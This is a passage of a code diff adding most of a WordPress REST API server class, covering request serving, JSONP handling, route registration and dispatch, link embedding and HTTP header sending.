+	 * @param string $message Human-readable message.
+	 * @param int    $status  Optional. HTTP status code to send. Default null.
+	 * @return string JSON representation of the error
+	 */
+	protected function json_error( $code, $message, $status = null ) {
+		if ( $status ) {
+			$this->set_status( $status );
+		}
+
+		$error = compact( 'code', 'message' );
+
+		return wp_json_encode( $error );
+	}
+
+	/**
+	 * Handles serving an API request.
+	 *
+	 * Matches the current server URI to a route and runs the first matching
+	 * callback then outputs a JSON representation of the returned value.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @see WP_REST_Server::dispatch()
+	 *
+	 * @param string $path Optional. The request route. If not set, `$_SERVER['PATH_INFO']` will be used.
+	 *                     Default null.
+	 * @return false|null Null if not served and a HEAD request, false otherwise.
+	 */
+	public function serve_request( $path = null ) {
+		$content_type = isset( $_GET['_jsonp'] ) ? 'application/javascript' : 'application/json';
+		$this->send_header( 'Content-Type', $content_type . '; charset=' . get_option( 'blog_charset' ) );
+		$this->send_header( 'X-Robots-Tag', 'noindex' );
+
+		$api_root = get_rest_url();
+		if ( ! empty( $api_root ) ) {
+			$this->send_header( 'Link', '<' . esc_url_raw( $api_root ) . '>; rel="https://api.w.org/"' );
+		}
+
+		/*
+		 * Mitigate possible JSONP Flash attacks.
+		 *
+		 * https://miki.it/blog/2014/7/8/abusing-jsonp-with-rosetta-flash/
+		 */
+		$this->send_header( 'X-Content-Type-Options', 'nosniff' );
+		$this->send_header( 'Access-Control-Expose-Headers', 'X-WP-Total, X-WP-TotalPages' );
+		$this->send_header( 'Access-Control-Allow-Headers', 'Authorization, Content-Type' );
+
+		/**
+		 * Filters whether the REST API is enabled.
+		 *
+		 * @since 4.4.0
+		 * @deprecated 4.7.0 Use the rest_authentication_errors filter to restrict access to the API
+		 *
+		 * @param bool $rest_enabled Whether the REST API is enabled. Default true.
+		 */
+		apply_filters_deprecated( 'rest_enabled', array( true ), '4.7.0', 'rest_authentication_errors',
+			__( 'The REST API can no longer be completely disabled, the rest_authentication_errors filter can be used to restrict access to the API, instead.' )
+		);
+
+		/**
+		 * Filters whether jsonp is enabled.
+		 *
+		 * @since 4.4.0
+		 *
+		 * @param bool $jsonp_enabled Whether jsonp is enabled. Default true.
+		 */
+		$jsonp_enabled = apply_filters( 'rest_jsonp_enabled', true );
+
+		$jsonp_callback = null;
+
+		if ( isset( $_GET['_jsonp'] ) ) {
+			if ( ! $jsonp_enabled ) {
+				echo $this->json_error( 'rest_callback_disabled', __( 'JSONP support is disabled on this site.' ), 400 );
+				return false;
+			}
+
+			$jsonp_callback = $_GET['_jsonp'];
+			if ( ! wp_check_jsonp_callback( $jsonp_callback ) ) {
+				echo $this->json_error( 'rest_callback_invalid', __( 'Invalid JSONP callback function.' ), 400 );
+				return false;
+			}
+		}
+
+		if ( empty( $path ) ) {
+			if ( isset( $_SERVER['PATH_INFO'] ) ) {
+				$path = $_SERVER['PATH_INFO'];
+			} else {
+				$path = '/';
+			}
+		}
+
+		$request = new WP_REST_Request( $_SERVER['REQUEST_METHOD'], $path );
+
+		$request->set_query_params( wp_unslash( $_GET ) );
+		$request->set_body_params( wp_unslash( $_POST ) );
+		$request->set_file_params( $_FILES );
+		$request->set_headers( $this->get_headers( wp_unslash( $_SERVER ) ) );
+		$request->set_body( $this->get_raw_data() );
+
+		/*
+		 * HTTP method override for clients that can't use PUT/PATCH/DELETE. First, we check
+		 * $_GET['_method']. If that is not set, we check for the HTTP_X_HTTP_METHOD_OVERRIDE
+		 * header.
+		 */
+		$method_overridden = false;
+		if ( isset( $_GET['_method'] ) ) {
+			$request->set_method( $_GET['_method'] );
+		} elseif ( isset( $_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'] ) ) {
+			$request->set_method( $_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'] );
+			$method_overridden = true;
+		}
+
+		$result = $this->check_authentication();
+
+		if ( ! is_wp_error( $result ) ) {
+			$result = $this->dispatch( $request );
+		}
+
+		// Normalize to either WP_Error or WP_REST_Response...
+		$result = rest_ensure_response( $result );
+
+		// ...then convert WP_Error across.
+		if ( is_wp_error( $result ) ) {
+			$result = $this->error_to_response( $result );
+		}
+
+		/**
+		 * Filters the API response.
+		 *
+		 * Allows modification of the response before returning.
+		 *
+		 * @since 4.4.0
+		 * @since 4.5.0 Applied to embedded responses.
+		 *
+		 * @param WP_HTTP_Response $result  Result to send to the client. Usually a WP_REST_Response.
+		 * @param WP_REST_Server   $this    Server instance.
+		 * @param WP_REST_Request  $request Request used to generate the response.
+		 */
+		$result = apply_filters( 'rest_post_dispatch', rest_ensure_response( $result ), $this, $request );
+
+		// Wrap the response in an envelope if asked for.
+		if ( isset( $_GET['_envelope'] ) ) {
+			$result = $this->envelope_response( $result, isset( $_GET['_embed'] ) );
+		}
+
+		// Send extra data from response objects.
+		$headers = $result->get_headers();
+		$this->send_headers( $headers );
+
+		$code = $result->get_status();
+		$this->set_status( $code );
+
+		/**
+		 * Filters whether the request has already been served.
+		 *
+		 * Allow sending the request manually - by returning true, the API result
+		 * will not be sent to the client.
+		 *
+		 * @since 4.4.0
+		 *
+		 * @param bool             $served  Whether the request has already been served.
+		 *                                           Default false.
+		 * @param WP_HTTP_Response $result  Result to send to the client. Usually a WP_REST_Response.
+		 * @param WP_REST_Request  $request Request used to generate the response.
+		 * @param WP_REST_Server   $this    Server instance.
+		 */
+		$served = apply_filters( 'rest_pre_serve_request', false, $result, $request, $this );
+
+		/**
+		 * Filters whether to send nocache headers on a REST API request.
+		 *
+		 * @since 4.4.0
+		 * @since 6.x.x Moved the block to catch the filter added on rest_cookie_check_errors() from rest-api.php
+		 *
+		 * @param bool $rest_send_nocache_headers Whether to send no-cache headers.
+		 */
+		$send_no_cache_headers = apply_filters( 'rest_send_nocache_headers', is_user_logged_in() );
+
+		// send no cache headers if the $send_no_cache_headers is true
+		// OR if the HTTP_X_HTTP_METHOD_OVERRIDE is used but resulted a 4xx response code.
+		if ( $send_no_cache_headers || ( true === $method_overridden && strpos( $code, '4' ) === 0 ) ) {
+			foreach ( wp_get_nocache_headers() as $header => $header_value ) {
+				if ( empty( $header_value ) ) {
+					$this->remove_header( $header );
+				} else {
+					$this->send_header( $header, $header_value );
+				}
+			}
+		}
+
+		if ( ! $served ) {
+			if ( 'HEAD' === $request->get_method() ) {
+				return null;
+			}
+
+			// Embed links inside the request.
+			$result = $this->response_to_data( $result, isset( $_GET['_embed'] ) );
+
+			/**
+			 * Filters the API response.
+			 *
+			 * Allows modification of the response data after inserting
+			 * embedded data (if any) and before echoing the response data.
+			 *
+			 * @since 4.8.1
+			 *
+			 * @param array            $result  Response data to send to the client.
+			 * @param WP_REST_Server   $this    Server instance.
+			 * @param WP_REST_Request  $request Request used to generate the response.
+			 */
+			$result = apply_filters( 'rest_pre_echo_response', $result, $this, $request );
+
+			$result = wp_json_encode( $result );
+
+			$json_error_message = $this->get_json_last_error();
+			if ( $json_error_message ) {
+				$json_error_obj = new WP_Error( 'rest_encode_error', $json_error_message, array( 'status' => 500 ) );
+				$result = $this->error_to_response( $json_error_obj );
+				$result = wp_json_encode( $result->data[0] );
+			}
+
+			if ( $jsonp_callback ) {
+				// Prepend '/**/' to mitigate possible JSONP Flash attacks.
+				// https://miki.it/blog/2014/7/8/abusing-jsonp-with-rosetta-flash/
+				echo '/**/' . $jsonp_callback . '(' . $result . ')';
+			} else {
+				echo $result;
+			}
+		}
+		return null;
+	}
+
+	/**
+	 * Converts a response to data to send.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param WP_REST_Response $response Response object.
+	 * @param bool             $embed    Whether links should be embedded.
+	 * @return array {
+	 *     Data with sub-requests embedded.
+	 *
+	 *     @type array [$_links]    Links.
+	 *     @type array [$_embedded] Embeddeds.
+	 * }
+	 */
+	public function response_to_data( $response, $embed ) {
+		$data  = $response->get_data();
+		$links = $this->get_compact_response_links( $response );
+
+		if ( ! empty( $links ) ) {
+			// Convert links to part of the data.
+			$data['_links'] = $links;
+		}
+		if ( $embed ) {
+			// Determine if this is a numeric array.
+			if ( wp_is_numeric_array( $data ) ) {
+				$data = array_map( array( $this, 'embed_links' ), $data );
+			} else {
+				$data = $this->embed_links( $data );
+			}
+		}
+
+		return $data;
+	}
+
+	/**
+	 * Retrieves links from a response.
+	 *
+	 * Extracts the links from a response into a structured hash, suitable for
+	 * direct output.
+	 *
+	 * @since 4.4.0
+	 * @static
+	 *
+	 * @param WP_REST_Response $response Response to extract links from.
+	 * @return array Map of link relation to list of link hashes.
+	 */
+	public static function get_response_links( $response ) {
+		$links = $response->get_links();
+		if ( empty( $links ) ) {
+			return array();
+		}
+
+		// Convert links to part of the data.
+		$data = array();
+		foreach ( $links as $rel => $items ) {
+			$data[ $rel ] = array();
+
+			foreach ( $items as $item ) {
+				$attributes = $item['attributes'];
+				$attributes['href'] = $item['href'];
+				$data[ $rel ][] = $attributes;
+			}
+		}
+
+		return $data;
+	}
+
+	/**
+	 * Retrieves the CURIEs (compact URIs) used for relations.
+	 *
+	 * Extracts the links from a response into a structured hash, suitable for
+	 * direct output.
+	 *
+	 * @since 4.5.0
+	 * @static
+	 *
+	 * @param WP_REST_Response $response Response to extract links from.
+	 * @return array Map of link relation to list of link hashes.
+	 */
+	public static function get_compact_response_links( $response ) {
+		$links = self::get_response_links( $response );
+
+		if ( empty( $links ) ) {
+			return array();
+		}
+
+		$curies = $response->get_curies();
+		$used_curies = array();
+
+		foreach ( $links as $rel => $items ) {
+
+			// Convert $rel URIs to their compact versions if they exist.
+			foreach ( $curies as $curie ) {
+				$href_prefix = substr( $curie['href'], 0, strpos( $curie['href'], '{rel}' ) );
+				if ( strpos( $rel, $href_prefix ) !== 0 ) {
+					continue;
+				}
+
+				// Relation now changes from '$uri' to '$curie:$relation'.
+				$rel_regex = str_replace( '\{rel\}', '(.+)', preg_quote( $curie['href'], '!' ) );
+				preg_match( '!' . $rel_regex . '!', $rel, $matches );
+				if ( $matches ) {
+					$new_rel = $curie['name'] . ':' . $matches[1];
+					$used_curies[ $curie['name'] ] = $curie;
+					$links[ $new_rel ] = $items;
+					unset( $links[ $rel ] );
+					break;
+				}
+			}
+		}
+
+		// Push the curies onto the start of the links array.
+		if ( $used_curies ) {
+			$links['curies'] = array_values( $used_curies );
+		}
+
+		return $links;
+	}
+
+	/**
+	 * Embeds the links from the data into the request.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param array $data Data from the request.
+	 * @return array {
+	 *     Data with sub-requests embedded.
+	 *
+	 *     @type array [$_links]    Links.
+	 *     @type array [$_embedded] Embeddeds.
+	 * }
+	 */
+	protected function embed_links( $data ) {
+		if ( empty( $data['_links'] ) ) {
+			return $data;
+		}
+
+		$embedded = array();
+
+		foreach ( $data['_links'] as $rel => $links ) {
+			// Ignore links to self, for obvious reasons.
+			if ( 'self' === $rel ) {
+				continue;
+			}
+
+			$embeds = array();
+
+			foreach ( $links as $item ) {
+				// Determine if the link is embeddable.
+				if ( empty( $item['embeddable'] ) ) {
+					// Ensure we keep the same order.
+					$embeds[] = array();
+					continue;
+				}
+
+				// Run through our internal routing and serve.
+				$request = WP_REST_Request::from_url( $item['href'] );
+				if ( ! $request ) {
+					$embeds[] = array();
+					continue;
+				}
+
+				// Embedded resources get passed context=embed.
+				if ( empty( $request['context'] ) ) {
+					$request['context'] = 'embed';
+				}
+
+				$response = $this->dispatch( $request );
+
+				/** This filter is documented in wp-includes/rest-api/class-wp-rest-server.php */
+				$response = apply_filters( 'rest_post_dispatch', rest_ensure_response( $response ), $this, $request );
+
+				$embeds[] = $this->response_to_data( $response, false );
+			}
+
+			// Determine if any real links were found.
+			$has_links = count( array_filter( $embeds ) );
+
+			if ( $has_links ) {
+				$embedded[ $rel ] = $embeds;
+			}
+		}
+
+		if ( ! empty( $embedded ) ) {
+			$data['_embedded'] = $embedded;
+		}
+
+		return $data;
+	}
+
+	/**
+	 * Wraps the response in an envelope.
+	 *
+	 * The enveloping technique is used to work around browser/client
+	 * compatibility issues. Essentially, it converts the full HTTP response to
+	 * data instead.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param WP_REST_Response $response Response object.
+	 * @param bool             $embed    Whether links should be embedded.
+	 * @return WP_REST_Response New response with wrapped data
+	 */
+	public function envelope_response( $response, $embed ) {
+		$envelope = array(
+			'body'    => $this->response_to_data( $response, $embed ),
+			'status'  => $response->get_status(),
+			'headers' => $response->get_headers(),
+		);
+
+		/**
+		 * Filters the enveloped form of a response.
+		 *
+		 * @since 4.4.0
+		 *
+		 * @param array            $envelope Envelope data.
+		 * @param WP_REST_Response $response Original response data.
+		 */
+		$envelope = apply_filters( 'rest_envelope_response', $envelope, $response );
+
+		// Ensure it's still a response and return.
+		return rest_ensure_response( $envelope );
+	}
+
+	/**
+	 * Registers a route to the server.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param string $namespace  Namespace.
+	 * @param string $route      The REST route.
+	 * @param array  $route_args Route arguments.
+	 * @param bool   $override   Optional. Whether the route should be overridden if it already exists.
+	 *                           Default false.
+	 */
+	public function register_route( $namespace, $route, $route_args, $override = false ) {
+		if ( ! isset( $this->namespaces[ $namespace ] ) ) {
+			$this->namespaces[ $namespace ] = array();
+
+			$this->register_route( $namespace, '/' . $namespace, array(
+				array(
+					'methods' => self::READABLE,
+					'callback' => array( $this, 'get_namespace_index' ),
+					'args' => array(
+						'namespace' => array(
+							'default' => $namespace,
+						),
+						'context' => array(
+							'default' => 'view',
+						),
+					),
+				),
+			) );
+		}
+
+		// Associative to avoid double-registration.
+		$this->namespaces[ $namespace ][ $route ] = true;
+		$route_args['namespace'] = $namespace;
+
+		if ( $override || empty( $this->endpoints[ $route ] ) ) {
+			$this->endpoints[ $route ] = $route_args;
+		} else {
+			$this->endpoints[ $route ] = array_merge( $this->endpoints[ $route ], $route_args );
+		}
+	}
+
+	/**
+	 * Retrieves the route map.
+	 *
+	 * The route map is an associative array with path regexes as the keys. The
+	 * value is an indexed array with the callback function/method as the first
+	 * item, and a bitmask of HTTP methods as the second item (see the class
+	 * constants).
+	 *
+	 * Each route can be mapped to more than one callback by using an array of
+	 * the indexed arrays. This allows mapping e.g. GET requests to one callback
+	 * and POST requests to another.
+	 *
+	 * Note that the path regexes (array keys) must have @ escaped, as this is
+	 * used as the delimiter with preg_match()
+	 *
+	 * @since 4.4.0
+	 *
+	 * @return array `'/path/regex' => array( $callback, $bitmask )` or
+	 *               `'/path/regex' => array( array( $callback, $bitmask ), ...)`.
+	 */
+	public function get_routes() {
+
+		/**
+		 * Filters the array of available endpoints.
+		 *
+		 * @since 4.4.0
+		 *
+		 * @param array $endpoints The available endpoints. An array of matching regex patterns, each mapped
+		 *                         to an array of callbacks for the endpoint. These take the format
+		 *                         `'/path/regex' => array( $callback, $bitmask )` or
+		 *                         `'/path/regex' => array( array( $callback, $bitmask ).
+		 */
+		$endpoints = apply_filters( 'rest_endpoints', $this->endpoints );
+
+		// Normalise the endpoints.
+		$defaults = array(
+			'methods'       => '',
+			'accept_json'   => false,
+			'accept_raw'    => false,
+			'show_in_index' => true,
+			'args'          => array(),
+		);
+
+		foreach ( $endpoints as $route => &$handlers ) {
+
+			if ( isset( $handlers['callback'] ) ) {
+				// Single endpoint, add one deeper.
+				$handlers = array( $handlers );
+			}
+
+			if ( ! isset( $this->route_options[ $route ] ) ) {
+				$this->route_options[ $route ] = array();
+			}
+
+			foreach ( $handlers as $key => &$handler ) {
+
+				if ( ! is_numeric( $key ) ) {
+					// Route option, move it to the options.
+					$this->route_options[ $route ][ $key ] = $handler;
+					unset( $handlers[ $key ] );
+					continue;
+				}
+
+				$handler = wp_parse_args( $handler, $defaults );
+
+				// Allow comma-separated HTTP methods.
+				if ( is_string( $handler['methods'] ) ) {
+					$methods = explode( ',', $handler['methods'] );
+				} elseif ( is_array( $handler['methods'] ) ) {
+					$methods = $handler['methods'];
+				} else {
+					$methods = array();
+				}
+
+				$handler['methods'] = array();
+
+				foreach ( $methods as $method ) {
+					$method = strtoupper( trim( $method ) );
+					$handler['methods'][ $method ] = true;
+				}
+			}
+		}
+
+		return $endpoints;
+	}
+
+	/**
+	 * Retrieves namespaces registered on the server.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @return array List of registered namespaces.
+	 */
+	public function get_namespaces() {
+		return array_keys( $this->namespaces );
+	}
+
+	/**
+	 * Retrieves specified options for a route.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param string $route Route pattern to fetch options for.
+	 * @return array|null Data as an associative array if found, or null if not found.
+	 */
+	public function get_route_options( $route ) {
+		if ( ! isset( $this->route_options[ $route ] ) ) {
+			return null;
+		}
+
+		return $this->route_options[ $route ];
+	}
+
+	/**
+	 * Matches the request to a callback and call it.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param WP_REST_Request $request Request to attempt dispatching.
+	 * @return WP_REST_Response Response returned by the callback.
+	 */
+	public function dispatch( $request ) {
+		/**
+		 * Filters the pre-calculated result of a REST dispatch request.
+		 *
+		 * Allow hijacking the request before dispatching by returning a non-empty. The returned value
+		 * will be used to serve the request instead.
+		 *
+		 * @since 4.4.0
+		 *
+		 * @param mixed           $result  Response to replace the requested version with. Can be anything
+		 *                                 a normal endpoint can return, or null to not hijack the request.
+		 * @param WP_REST_Server  $this    Server instance.
+		 * @param WP_REST_Request $request Request used to generate the response.
+		 */
+		$result = apply_filters( 'rest_pre_dispatch', null, $this, $request );
+
+		if ( ! empty( $result ) ) {
+			return $result;
+		}
+
+		$method = $request->get_method();
+		$path   = $request->get_route();
+
+		foreach ( $this->get_routes() as $route => $handlers ) {
+			$match = preg_match( '@^' . $route . '$@i', $path, $matches );
+
+			if ( ! $match ) {
+				continue;
+			}
+
+			$args = array();
+			foreach ( $matches as $param => $value ) {
+				if ( ! is_int( $param ) ) {
+					$args[ $param ] = $value;
+				}
+			}
+
+			foreach ( $handlers as $handler ) {
+				$callback  = $handler['callback'];
+				$response = null;
+
+				// Fallback to GET method if no HEAD method is registered.
+				$checked_method = $method;
+				if ( 'HEAD' === $method && empty( $handler['methods']['HEAD'] ) ) {
+					$checked_method = 'GET';
+				}
+				if ( empty( $handler['methods'][ $checked_method ] ) ) {
+					continue;
+				}
+
+				if ( ! is_callable( $callback ) ) {
+					$response = new WP_Error( 'rest_invalid_handler', __( 'The handler for the route is invalid' ), array( 'status' => 500 ) );
+				}
+
+				if ( ! is_wp_error( $response ) ) {
+					// Remove the redundant preg_match argument.
+					unset( $args[0] );
+
+					$request->set_url_params( $args );
+					$request->set_attributes( $handler );
+
+					$defaults = array();
+
+					foreach ( $handler['args'] as $arg => $options ) {
+						if ( isset( $options['default'] ) ) {
+							$defaults[ $arg ] = $options['default'];
+						}
+					}
+
+					$request->set_default_params( $defaults );
+
+					$check_required = $request->has_valid_params();
+					if ( is_wp_error( $check_required ) ) {
+						$response = $check_required;
+					} else {
+						$check_sanitized = $request->sanitize_params();
+						if ( is_wp_error( $check_sanitized ) ) {
+							$response = $check_sanitized;
+						}
+					}
+				}
+
+				/**
+				 * Filters the response before executing any REST API callbacks.
+				 *
+				 * Allows plugins to perform additional validation after a
+				 * request is initialized and matched to a registered route,
+				 * but before it is executed.
+				 *
+				 * Note that this filter will not be called for requests that
+				 * fail to authenticate or match to a registered route.
+				 *
+				 * @since 4.7.0
+				 *
+				 * @param WP_HTTP_Response $response Result to send to the client. Usually a WP_REST_Response.
+				 * @param WP_REST_Server   $handler  ResponseHandler instance (usually WP_REST_Server).
+				 * @param WP_REST_Request  $request  Request used to generate the response.
+				 */
+				$response = apply_filters( 'rest_request_before_callbacks', $response, $handler, $request );
+
+				if ( ! is_wp_error( $response ) ) {
+					// Check permission specified on the route.
+					if ( ! empty( $handler['permission_callback'] ) ) {
+						$permission = call_user_func( $handler['permission_callback'], $request );
+
+						if ( is_wp_error( $permission ) ) {
+							$response = $permission;
+						} elseif ( false === $permission || null === $permission ) {
+							$response = new WP_Error( 'rest_forbidden', __( 'Sorry, you are not allowed to do that.' ), array( 'status' => rest_authorization_required_code() ) );
+						}
+					}
+				}
+
+				if ( ! is_wp_error( $response ) ) {
+					/**
+					 * Filters the REST dispatch request result.
+					 *
+					 * Allow plugins to override dispatching the request.
+					 *
+					 * @since 4.4.0
+					 * @since 4.5.0 Added `$route` and `$handler` parameters.
+					 *
+					 * @param bool            $dispatch_result Dispatch result, will be used if not empty.
+					 * @param WP_REST_Request $request         Request used to generate the response.
+					 * @param string          $route           Route matched for the request.
+					 * @param array           $handler         Route handler used for the request.
+					 */
+					$dispatch_result = apply_filters( 'rest_dispatch_request', null, $request, $route, $handler );
+
+					// Allow plugins to halt the request via this filter.
+					if ( null !== $dispatch_result ) {
+						$response = $dispatch_result;
+					} else {
+						$response = call_user_func( $callback, $request );
+					}
+				}
+
+				/**
+				 * Filters the response immediately after executing any REST API
+				 * callbacks.
+				 *
+				 * Allows plugins to perform any needed cleanup, for example,
+				 * to undo changes made during the {@see 'rest_request_before_callbacks'}
+				 * filter.
+				 *
+				 * Note that this filter will not be called for requests that
+				 * fail to authenticate or match to a registered route.
+				 *
+				 * Note that an endpoint's `permission_callback` can still be
+				 * called after this filter - see `rest_send_allow_header()`.
+				 *
+				 * @since 4.7.0
+				 *
+				 * @param WP_HTTP_Response $response Result to send to the client. Usually a WP_REST_Response.
+				 * @param WP_REST_Server   $handler  ResponseHandler instance (usually WP_REST_Server).
+				 * @param WP_REST_Request  $request  Request used to generate the response.
+				 */
+				$response = apply_filters( 'rest_request_after_callbacks', $response, $handler, $request );
+
+				if ( is_wp_error( $response ) ) {
+					$response = $this->error_to_response( $response );
+				} else {
+					$response = rest_ensure_response( $response );
+				}
+
+				$response->set_matched_route( $route );
+				$response->set_matched_handler( $handler );
+
+				return $response;
+			}
+		}
+
+		return $this->error_to_response( new WP_Error( 'rest_no_route', __( 'No route was found matching the URL and request method' ), array( 'status' => 404 ) ) );
+	}
+
+	/**
+	 * Returns if an error occurred during most recent JSON encode/decode.
+	 *
+	 * Strings to be translated will be in format like
+	 * "Encoding error: Maximum stack depth exceeded".
+	 *
+	 * @since 4.4.0
+	 *
+	 * @return bool|string Boolean false or string error message.
+	 */
+	protected function get_json_last_error() {
+		// See https://core.trac.wordpress.org/ticket/27799.
+		if ( ! function_exists( 'json_last_error' ) ) {
+			return false;
+		}
+
+		$last_error_code = json_last_error();
+
+		if ( ( defined( 'JSON_ERROR_NONE' ) && JSON_ERROR_NONE === $last_error_code ) || empty( $last_error_code ) ) {
+			return false;
+		}
+
+		return json_last_error_msg();
+	}
+
+	/**
+	 * Retrieves the site index.
+	 *
+	 * This endpoint describes the capabilities of the site.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param array $request {
+	 *     Request.
+	 *
+	 *     @type string $context Context.
+	 * }
+	 * @return array Index entity
+	 */
+	public function get_index( $request ) {
+		// General site data.
+		$available = array(
+			'name'            => get_option( 'blogname' ),
+			'description'     => get_option( 'blogdescription' ),
+			'url'             => get_option( 'siteurl' ),
+			'home'            => home_url(),
+			'gmt_offset'      => get_option( 'gmt_offset' ),
+			'timezone_string' => get_option( 'timezone_string' ),
+			'namespaces'      => array_keys( $this->namespaces ),
+			'authentication'  => array(),
+			'routes'          => $this->get_data_for_routes( $this->get_routes(), $request['context'] ),
+		);
+
+		$response = new WP_REST_Response( $available );
+
+		$response->add_link( 'help', 'http://v2.wp-api.org/' );
+
+		/**
+		 * Filters the API root index data.
+		 *
+		 * This contains the data describing the API. This includes information
+		 * about supported authentication schemes, supported namespaces, routes
+		 * available on the API, and a small amount of data about the site.
+		 *
+		 * @since 4.4.0
+		 *
+		 * @param WP_REST_Response $response Response data.
+		 */
+		return apply_filters( 'rest_index', $response );
+	}
+
+	/**
+	 * Retrieves the index for a namespace.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param WP_REST_Request $request REST request instance.
+	 * @return WP_REST_Response|WP_Error WP_REST_Response instance if the index was found,
+	 *                                   WP_Error if the namespace isn't set.
+	 */
+	public function get_namespace_index( $request ) {
+		$namespace = $request['namespace'];
+
+		if ( ! isset( $this->namespaces[ $namespace ] ) ) {
+			return new WP_Error( 'rest_invalid_namespace', __( 'The specified namespace could not be found.' ), array( 'status' => 404 ) );
+		}
+
+		$routes = $this->namespaces[ $namespace ];
+		$endpoints = array_intersect_key( $this->get_routes(), $routes );
+
+		$data = array(
+			'namespace' => $namespace,
+			'routes' => $this->get_data_for_routes( $endpoints, $request['context'] ),
+		);
+		$response = rest_ensure_response( $data );
+
+		// Link to the root index.
+		$response->add_link( 'up', rest_url( '/' ) );
+
+		/**
+		 * Filters the namespace index data.
+		 *
+		 * This typically is just the route data for the namespace, but you can
+		 * add any data you'd like here.
+		 *
+		 * @since 4.4.0
+		 *
+		 * @param WP_REST_Response $response Response data.
+		 * @param WP_REST_Request  $request  Request data. The namespace is passed as the 'namespace' parameter.
+		 */
+		return apply_filters( 'rest_namespace_index', $response, $request );
+	}
+
+	/**
+	 * Retrieves the publicly-visible data for routes.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param array  $routes  Routes to get data for.
+	 * @param string $context Optional. Context for data. Accepts 'view' or 'help'. Default 'view'.
+	 * @return array Route data to expose in indexes.
+	 */
+	public function get_data_for_routes( $routes, $context = 'view' ) {
+		$available = array();
+
+		// Find the available routes.
+		foreach ( $routes as $route => $callbacks ) {
+			$data = $this->get_data_for_route( $route, $callbacks, $context );
+			if ( empty( $data ) ) {
+				continue;
+			}
+
+			/**
+			 * Filters the REST endpoint data.
+			 *
+			 * @since 4.4.0
+			 *
+			 * @param WP_REST_Request $request Request data. The namespace is passed as the 'namespace' parameter.
+			 */
+			$available[ $route ] = apply_filters( 'rest_endpoints_description', $data );
+		}
+
+		/**
+		 * Filters the publicly-visible data for routes.
+		 *
+		 * This data is exposed on indexes and can be used by clients or
+		 * developers to investigate the site and find out how to use it. It
+		 * acts as a form of self-documentation.
+		 *
+		 * @since 4.4.0
+		 *
+		 * @param array $available Map of route to route data.
+		 * @param array $routes    Internal route data as an associative array.
+		 */
+		return apply_filters( 'rest_route_data', $available, $routes );
+	}
+
+	/**
+	 * Retrieves publicly-visible data for the route.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param string $route     Route to get data for.
+	 * @param array  $callbacks Callbacks to convert to data.
+	 * @param string $context   Optional. Context for the data. Accepts 'view' or 'help'. Default 'view'.
+	 * @return array|null Data for the route, or null if no publicly-visible data.
+	 */
+	public function get_data_for_route( $route, $callbacks, $context = 'view' ) {
+		$data = array(
+			'namespace' => '',
+			'methods' => array(),
+			'endpoints' => array(),
+		);
+
+		if ( isset( $this->route_options[ $route ] ) ) {
+			$options = $this->route_options[ $route ];
+
+			if ( isset( $options['namespace'] ) ) {
+				$data['namespace'] = $options['namespace'];
+			}
+
+			if ( isset( $options['schema'] ) && 'help' === $context ) {
+				$data['schema'] = call_user_func( $options['schema'] );
+			}
+		}
+
+		$route = preg_replace( '#\(\?P<(\w+?)>.*?\)#', '{$1}', $route );
+
+		foreach ( $callbacks as $callback ) {
+			// Skip to the next route if any callback is hidden.
+			if ( empty( $callback['show_in_index'] ) ) {
+				continue;
+			}
+
+			$data['methods'] = array_merge( $data['methods'], array_keys( $callback['methods'] ) );
+			$endpoint_data = array(
+				'methods' => array_keys( $callback['methods'] ),
+			);
+
+			if ( isset( $callback['args'] ) ) {
+				$endpoint_data['args'] = array();
+				foreach ( $callback['args'] as $key => $opts ) {
+					$arg_data = array(
+						'required' => ! empty( $opts['required'] ),
+					);
+					if ( isset( $opts['default'] ) ) {
+						$arg_data['default'] = $opts['default'];
+					}
+					if ( isset( $opts['enum'] ) ) {
+						$arg_data['enum'] = $opts['enum'];
+					}
+					if ( isset( $opts['description'] ) ) {
+						$arg_data['description'] = $opts['description'];
+					}
+					if ( isset( $opts['type'] ) ) {
+						$arg_data['type'] = $opts['type'];
+					}
+					if ( isset( $opts['items'] ) ) {
+						$arg_data['items'] = $opts['items'];
+					}
+					$endpoint_data['args'][ $key ] = $arg_data;
+				}
+			}
+
+			$data['endpoints'][] = $endpoint_data;
+
+			// For non-variable routes, generate links.
+			if ( strpos( $route, '{' ) === false ) {
+				$data['_links'] = array(
+					'self' => rest_url( $route ),
+				);
+			}
+		}
+
+		if ( empty( $data['methods'] ) ) {
+			// No methods supported, hide the route.
+			return null;
+		}
+
+		return $data;
+	}
+
+	/**
+	 * Sends an HTTP status code.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param int $code HTTP status.
+	 */
+	protected function set_status( $code ) {
+		status_header( $code );
+	}
+
+	/**
+	 * Sends an HTTP header.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param string $key Header key.
+	 * @param string $value Header value.
+	 */
+	public function send_header( $key, $value ) {
+		/*
+		 * Sanitize as per RFC2616 (Section 4.2):
+		 *
+		 * Any LWS that occurs between field-content MAY be replaced with a
+		 * single SP before interpreting the field value or forwarding the
+		 * message downstream.
+		 */
+		$value = preg_replace( '/\s+/', ' ', $value );
+		header( sprintf( '%s: %s', $key, $value ) );
+	}
+
+	/**
+	 * Sends multiple HTTP headers.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param array $headers Map of header name to header value.
+	 */
+	public function send_headers( $headers ) {
+		foreach ( $headers as $key => $value ) {
+			$this->send_header( $key, $value );
+		}
+	}
+
+	/**
+	 * Removes an HTTP header from the current response.
+	 *
+	 * @since 4.8.0
+	 *
+	 * @param string $key Header key.
+	 */
+	public function remove_header( $key ) {
+		if ( function_exists( 'header_remove' ) ) {
+			// In PHP 5.3+ there is a way to remove an already set header.
+			header_remove( $key );
+		} else {
+			// In PHP 5.2, send an empty header, but only as a last resort to
+			// override a header already sent.
+			foreach ( headers_list() as $header ) {
+				if ( 0 === stripos( $header, "$key:" ) ) {
+					$this->send_header( $key, '' );
